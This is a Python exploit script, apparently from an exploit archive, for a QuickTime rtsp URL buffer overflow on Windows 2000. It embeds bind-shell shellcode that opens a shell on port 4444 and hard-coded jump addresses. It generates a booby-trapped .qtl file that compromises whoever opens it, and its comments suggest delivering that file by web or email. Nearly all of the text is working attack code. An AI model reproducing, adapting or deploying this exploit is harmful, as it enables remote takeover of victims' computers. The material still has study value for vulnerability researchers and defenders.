Apple Quicktime (rtsp URL Handler) Buffer Overflow Exploit (win2k)

#!/usr/bin/python #Port bind exploit for apple quicktime rtsp vulnerability #Tested on windows 2000 SP0 and SP4 with quicktime 7.1.3.100. Should be easy #to port the exploit to others. All one needs to do is look for the appropriate #jump address. Certain characters are not permitted in the shellcode. #Alphanumeric shellcodes work fine. #This script creates a qtl file which when clicked upon binds a shell to TCP #port 4444. This file can be delivered through several means; HTTP, SMTP etc # # Winny Thomas ;-) # Author shall bear no responsibility for any kind of screws up caused by using # this code import sys #alpha numeric port bind shellcode from metasploit; binds shell to port 4444 shellcode  = \"\\xeb\\x03\\x59\\xeb\\x05\\xe8\\xf8\\xff\\xff\\xff\\x4f\\x49\\x49\\x49\\x49\\x49\" shellcode += \"\\x49\\x51\\x5a\\x56\\x54\\x58\\x36\\x33\\x30\\x56\\x58\\x34\\x41\\x30\\x42\\x36\" shellcode += \"\\x48\\x48\\x30\\x42\\x33\\x30\\x42\\x43\\x56\\x58\\x32\\x42\\x44\\x42\\x48\\x34\" shellcode += \"\\x41\\x32\\x41\\x44\\x30\\x41\\x44\\x54\\x42\\x44\\x51\\x42\\x30\\x41\\x44\\x41\" shellcode += \"\\x56\\x58\\x34\\x5a\\x38\\x42\\x44\\x4a\\x4f\\x4d\\x4e\\x4f\\x4c\\x36\\x4b\\x4e\" shellcode += \"\\x4d\\x34\\x4a\\x4e\\x49\\x4f\\x4f\\x4f\\x4f\\x4f\\x4f\\x4f\\x42\\x46\\x4b\\x58\" shellcode += \"\\x4e\\x56\\x46\\x42\\x46\\x42\\x4b\\x58\\x45\\x54\\x4e\\x53\\x4b\\x48\\x4e\\x57\" shellcode += \"\\x45\\x30\\x4a\\x47\\x41\\x30\\x4f\\x4e\\x4b\\x48\\x4f\\x44\\x4a\\x51\\x4b\\x38\" shellcode += \"\\x4f\\x55\\x42\\x32\\x41\\x50\\x4b\\x4e\\x49\\x44\\x4b\\x58\\x46\\x33\\x4b\\x58\" shellcode += \"\\x41\\x30\\x50\\x4e\\x41\\x43\\x42\\x4c\\x49\\x49\\x4e\\x4a\\x46\\x48\\x42\\x4c\" shellcode += \"\\x46\\x37\\x47\\x30\\x41\\x4c\\x4c\\x4c\\x4d\\x30\\x41\\x30\\x44\\x4c\\x4b\\x4e\" shellcode += \"\\x46\\x4f\\x4b\\x53\\x46\\x35\\x46\\x52\\x4a\\x42\\x45\\x57\\x45\\x4e\\x4b\\x48\" shellcode += \"\\x4f\\x45\\x46\\x52\\x41\\x30\\x4b\\x4e\\x48\\x46\\x4b\\x38\\x4e\\x50\\x4b\\x54\" shellcode += \"\\x4b\\x48\\x4f\\x45\\x4e\\x41\\x41\\x30\\x4b\\x4e\\x43\\x30\\x4e\\x32\\x4b\\x58\" shellcode += \"\\x49\\x48\\x4e\\x36\\x46\\x42\\x4e\\x41\\x41\\x56\\x43\\x4c\\x41\\x53\\x4b\\x4d\" shellcode += \"\\x46\\x56\\x4b\\x38\\x43\\x54\\x42\\x43\\x4b\\x58\\x42\\x44\\x4e\\x30\\x4b\\x38\" shellcode += \"\\x42\\x47\\x4e\\x41\\x4d\\x4a\\x4b\\x58\\x42\\x44\\x4a\\x30\\x50\\x55\\x4a\\x56\" shellcode += \"\\x50\\x48\\x50\\x34\\x50\\x30\\x4e\\x4e\\x42\\x45\\x4f\\x4f\\x48\\x4d\\x48\\x36\" shellcode += \"\\x43\\x45\\x48\\x56\\x4a\\x46\\x43\\x53\\x44\\x33\\x4a\\x46\\x47\\x37\\x43\\x57\" shellcode += \"\\x44\\x33\\x4f\\x35\\x46\\x35\\x4f\\x4f\\x42\\x4d\\x4a\\x36\\x4b\\x4c\\x4d\\x4e\" shellcode += \"\\x4e\\x4f\\x4b\\x53\\x42\\x45\\x4f\\x4f\\x48\\x4d\\x4f\\x35\\x49\\x38\\x45\\x4e\" shellcode += \"\\x48\\x46\\x41\\x58\\x4d\\x4e\\x4a\\x30\\x44\\x30\\x45\\x35\\x4c\\x36\\x44\\x30\" shellcode += \"\\x4f\\x4f\\x42\\x4d\\x4a\\x46\\x49\\x4d\\x49\\x50\\x45\\x4f\\x4d\\x4a\\x47\\x35\" shellcode += \"\\x4f\\x4f\\x48\\x4d\\x43\\x35\\x43\\x45\\x43\\x55\\x43\\x45\\x43\\x35\\x43\\x34\" shellcode += \"\\x43\\x55\\x43\\x34\\x43\\x45\\x4f\\x4f\\x42\\x4d\\x48\\x46\\x4a\\x36\\x41\\x41\" shellcode += \"\\x4e\\x45\\x48\\x36\\x43\\x45\\x49\\x58\\x41\\x4e\\x45\\x39\\x4a\\x56\\x46\\x4a\" shellcode += \"\\x4c\\x31\\x42\\x37\\x47\\x4c\\x47\\x45\\x4f\\x4f\\x48\\x4d\\x4c\\x46\\x42\\x31\" shellcode += \"\\x41\\x55\\x45\\x55\\x4f\\x4f\\x42\\x4d\\x4a\\x36\\x46\\x4a\\x4d\\x4a\\x50\\x42\" shellcode += \"\\x49\\x4e\\x47\\x45\\x4f\\x4f\\x48\\x4d\\x43\\x55\\x45\\x35\\x4f\\x4f\\x42\\x4d\" shellcode += \"\\x4a\\x36\\x45\\x4e\\x49\\x54\\x48\\x58\\x49\\x44\\x47\\x55\\x4f\\x4f\\x48\\x4d\" shellcode += \"\\x42\\x55\\x46\\x35\\x46\\x35\\x45\\x35\\x4f\\x4f\\x42\\x4d\\x43\\x39\\x4a\\x56\" shellcode += \"\\x47\\x4e\\x49\\x47\\x48\\x4c\\x49\\x37\\x47\\x45\\x4f\\x4f\\x48\\x4d\\x45\\x45\" shellcode += \"\\x4f\\x4f\\x42\\x4d\\x48\\x46\\x4c\\x36\\x46\\x56\\x48\\x36\\x4a\\x46\\x43\\x46\" shellcode += \"\\x4d\\x46\\x49\\x58\\x45\\x4e\\x4c\\x56\\x42\\x35\\x49\\x55\\x49\\x52\\x4e\\x4c\" shellcode += \"\\x49\\x38\\x47\\x4e\\x4c\\x56\\x46\\x54\\x49\\x58\\x44\\x4e\\x41\\x53\\x42\\x4c\" shellcode += \"\\x43\\x4f\\x4c\\x4a\\x50\\x4f\\x44\\x54\\x4d\\x52\\x50\\x4f\\x44\\x34\\x4e\\x32\" shellcode += \"\\x43\\x49\\x4d\\x48\\x4c\\x47\\x4a\\x33\\x4b\\x4a\\x4b\\x4a\\x4b\\x4a\\x4a\\x36\" shellcode += \"\\x44\\x47\\x50\\x4f\\x43\\x4b\\x48\\x41\\x4f\\x4f\\x45\\x57\\x46\\x34\\x4f\\x4f\" shellcode += \"\\x48\\x4d\\x4b\\x45\\x47\\x55\\x44\\x55\\x41\\x45\\x41\\x35\\x41\\x55\\x4c\\x36\" shellcode += \"\\x41\\x30\\x41\\x35\\x41\\x55\\x45\\x45\\x41\\x45\\x4f\\x4f\\x42\\x4d\\x4a\\x56\" shellcode += \"\\x4d\\x4a\\x49\\x4d\\x45\\x30\\x50\\x4c\\x43\\x35\\x4f\\x4f\\x48\\x4d\\x4c\\x56\" shellcode += \"\\x4f\\x4f\\x4f\\x4f\\x47\\x33\\x4f\\x4f\\x42\\x4d\\x4b\\x38\\x47\\x55\\x4e\\x4f\" shellcode += \"\\x43\\x48\\x46\\x4c\\x46\\x36\\x4f\\x4f\\x48\\x4d\\x44\\x55\\x4f\\x4f\\x42\\x4d\" shellcode += \"\\x4a\\x46\\x42\\x4f\\x4c\\x48\\x46\\x50\\x4f\\x45\\x43\\x55\\x4f\\x4f\\x48\\x4d\" shellcode += \"\\x4f\\x4f\\x42\\x4d\\x5a\\x90\" shellcode += \"\\x90\" * 90 def CreateQTL(sp):        if sp == \"1\":                JMPedi = \'\\xf5\\x0c\\xe5\\x77\' #Address of jmp edi from user32.dll        elif sp == \"2\":                JMPedi = \'\\x34\\xd9\\xe4\\x77\' #Address of jmp edi from user32.dll        else:                print \'Unsupported Service pack number\'                sys.exit(-1)      #XML template from http://www.milw0rm.org/exploits/3064        QTL  = \"<?xml version=\\\"1.0\\\"?>\"        QTL += \"<?quicktime type=\\\"application/x-quicktime-media-link\\\"?>\"        QTL += \"<embed autoplay=\\\"true\\\" moviename=\\\"#{NEW}\\\" \"        QTL += \"qtnext=\\\"#{YEAR}\\\" type=\\\"video/quicktime#{APPLE}\\\" \"        QTL += \"src=\\\"rtsp://\" + \'\\x90\'*200 + shellcode + \'\\x90\'*9000 + \':\' + \'\\x90\'*811 + JMPedi        QTL += \"\\\" />\\n\"        fd = open(\'./exp.qtl\', \'w\')        fd.write(QTL)        fd.close() if __name__ == \'__main__\':        try:                sp = sys.argv[1]        except IndexError:                print \'Usage: %s <version number>\\n\' % sys.argv[0]                print \'Version: 1 => windows 2000 server SP0\'                print \'Version: 2 => windows 2000 server SP4\'                sys.exit(-1)        CreateQTL(sp)